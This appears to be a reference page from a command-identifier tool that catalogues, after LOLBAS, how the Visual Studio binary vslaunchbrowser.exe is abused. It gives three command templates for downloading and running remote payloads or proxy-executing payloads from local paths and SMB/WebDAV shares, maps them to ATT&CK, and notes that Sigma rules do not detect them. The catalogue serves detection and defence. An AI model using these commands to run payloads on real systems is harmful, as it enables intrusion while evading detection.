Ceplin Command Identifier

Identifier / Programs / Windows

vslaunchbrowser.exe

LOLBAS Download, Execute 2 ATT&CK techniques 3 documented commands

Opens the identifier with your command. It is read in your browser and sent nowhere.

How vslaunchbrowser.exe is abused

documented by LOLBAS

Download T1105 Ingress Tool Transfer

Execute T1127 Trusted Developer Utilities Proxy Execution

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for vslaunchbrowser.exe.

3 documented commands

from LOLBAS, each read by the identifier

Download T1105 Ingress Tool Transfer User privileges

Download and execute payload from remote server

VSLaunchBrowser.exe .exe {REMOTEURL:.exe}
Identify

Execute T1127 Trusted Developer Utilities Proxy Execution User privileges

Execute payload via VSLaunchBrowser as parent process

VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe}
Identify

Execute T1127 Trusted Developer Utilities Proxy Execution User privileges

Execute payload from WebDAV server via VSLaunchBrowser as parent process

VSLaunchBrowser.exe .exe {PATH_SMB}
Identify

None of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for vslaunchbrowser.exe, by Avihay Eldad, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for vslaunchbrowser.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules
T1105Ingress Tool Transfer
T1127Trusted Developer Utilities Proxy Execution